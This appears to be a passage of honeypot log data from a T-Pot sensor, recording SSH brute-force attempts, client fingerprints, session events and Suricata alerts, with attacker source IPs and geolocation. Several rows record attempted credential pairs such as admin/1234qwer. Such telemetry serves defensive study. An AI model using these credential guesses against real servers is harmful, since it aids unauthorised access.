"ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "03c2f1d780f7", "@version": "1", "timestamp": "2021-09-20T11:09:04.705780Z", "@timestamp": "2021-09-20T11:09:04.705Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24739	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:05.042588+03	2021-09-20 14:15:09.186472+03	{"_id": "dwblAnwBvYTbRNuEKhV7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "84854aca4931", "@version": "1", "timestamp": "2021-09-20T11:09:05.042588Z", "@timestamp": "2021-09-20T11:09:05.042Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24740	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:05.181188+03	2021-09-20 14:15:09.188473+03	{"_id": "eAblAnwBvYTbRNuEKhV7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 19 seconds", "session": "9c892865c6e1", "@version": "1", "duration": 19.331050157546997, "timestamp": "2021-09-20T11:09:05.181188Z", "@timestamp": "2021-09-20T11:09:05.181Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24741	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:09:05.18913+03	2021-09-20 14:15:09.189473+03	{"_id": "eQblAnwBvYTbRNuEKhV7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "d0f4216f9eca", "@version": "1", "duration": 5.503058910369873, "timestamp": "2021-09-20T11:09:05.189130Z", "@timestamp": "2021-09-20T11:09:05.189Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24742	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:05.249643+03	2021-09-20 14:15:09.190472+03	{"_id": "egblAnwBvYTbRNuEKhV7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8383258ac43a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:05.249643Z", "@timestamp": "2021-09-20T11:09:05.249Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24743	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:05.375844+03	2021-09-20 14:15:09.191473+03	{"_id": "ewblAnwBvYTbRNuEKhV7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/ad] failed", "session": "8bfd395996bd", "@version": "1", "password": "ad", "username": "admin", "timestamp": "2021-09-20T11:09:05.375844Z", "@timestamp": "2021-09-20T11:09:05.375Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24744	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:05.929421+03	2021-09-20 14:15:09.193472+03	{"_id": "fAblAnwBvYTbRNuELBXG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 42659424063428, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 45578, "dest_port": 22, "timestamp": "2021-09-20T11:09:05.929421Z", "@timestamp": "2021-09-20T11:09:05.929Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24745	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:09:05.000323+03	2021-09-20 14:15:09.194473+03	{"_id": "fgblAnwBvYTbRNuELBXJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:03.326466+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1948619877120834, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 60745, "timestamp": "2021-09-20T11:09:05.000323Z", "@timestamp": "2021-09-20T11:09:05.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
24746	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:05.512848+03	2021-09-20 14:15:09.195473+03	{"_id": "fwblAnwBvYTbRNuELBXJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 128066996225982, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57182, "dest_port": 22, "timestamp": "2021-09-20T11:09:05.512848Z", "@timestamp": "2021-09-20T11:09:05.512Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24747	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:09:05.533049+03	2021-09-20 14:15:09.198473+03	{"_id": "gAblAnwBvYTbRNuELBXJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 390699951201105, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38890, "dest_port": 22, "timestamp": "2021-09-20T11:09:05.533049Z", "@timestamp": "2021-09-20T11:09:05.533Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24748	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:05.513008+03	2021-09-20 14:15:09.199473+03	{"_id": "gQblAnwBvYTbRNuELRXC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57182, "timestamp": "2021-09-20T11:09:05.513008", "@timestamp": "2021-09-20T11:09:05.513Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24749	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:09:07.236666+03	2021-09-20 14:15:09.200472+03	{"_id": "rAblAnwBvYTbRNuEMhVK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.60.208.43:56802 (192.168.176.2:22) [session: 695590e95c48]", "session": "695590e95c48", "@version": "1", "protocol": "ssh", "src_port": 56802, "dest_port": 22, "timestamp": "2021-09-20T11:09:07.236666Z", "@timestamp": "2021-09-20T11:09:07.236Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24750	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:06.41023+03	2021-09-20 14:15:09.202472+03	{"_id": "pgblAnwBvYTbRNuEMhVJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [ftpuser/ftpuser] failed", "session": "93b180aa17df", "@version": "1", "password": "ftpuser", "username": "ftpuser", "timestamp": "2021-09-20T11:09:06.410230Z", "@timestamp": "2021-09-20T11:09:06.410Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24751	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:06.899003+03	2021-09-20 14:15:09.203473+03	{"_id": "qAblAnwBvYTbRNuEMhVJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "19002722f790", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:06.899003Z", "@timestamp": "2021-09-20T11:09:06.899Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24752	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:06.438623+03	2021-09-20 14:15:09.204473+03	{"_id": "swblAnwBvYTbRNuEMhVK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admi] failed", "session": "30dc33486cbf", "@version": "1", "password": "admi", "username": "admin", "timestamp": "2021-09-20T11:09:06.438623Z", "@timestamp": "2021-09-20T11:09:06.438Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24753	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:06.522403+03	2021-09-20 14:15:09.205473+03	{"_id": "tAblAnwBvYTbRNuEMhVK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/1234qwer] failed", "session": "89e4a9c823dc", "@version": "1", "password": "1234qwer", "username": "admin", "timestamp": "2021-09-20T11:09:06.522403Z", "@timestamp": "2021-09-20T11:09:06.522Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24754	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:06.751936+03	2021-09-20 14:15:09.206472+03	{"_id": "tQblAnwBvYTbRNuEMhVK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8bfd395996bd", "@version": "1", "duration": 2.818683385848999, "timestamp": "2021-09-20T11:09:06.751936Z", "@timestamp": "2021-09-20T11:09:06.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24755	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:06.964362+03	2021-09-20 14:15:09.20847+03	{"_id": "tgblAnwBvYTbRNuEMhVK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "03c2f1d780f7", "@version": "1", "duration": 2.585437536239624, "timestamp": "2021-09-20T11:09:06.964362Z", "@timestamp": "2021-09-20T11:09:06.964Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24773	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:08.313437+03	2021-09-20 14:15:09.232471+03	{"_id": "ywblAnwBvYTbRNuENhVB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "89e4a9c823dc", "@version": "1", "duration": 3.0142617225646973, "timestamp": "2021-09-20T11:09:08.313437Z", "@timestamp": "2021-09-20T11:09:08.313Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
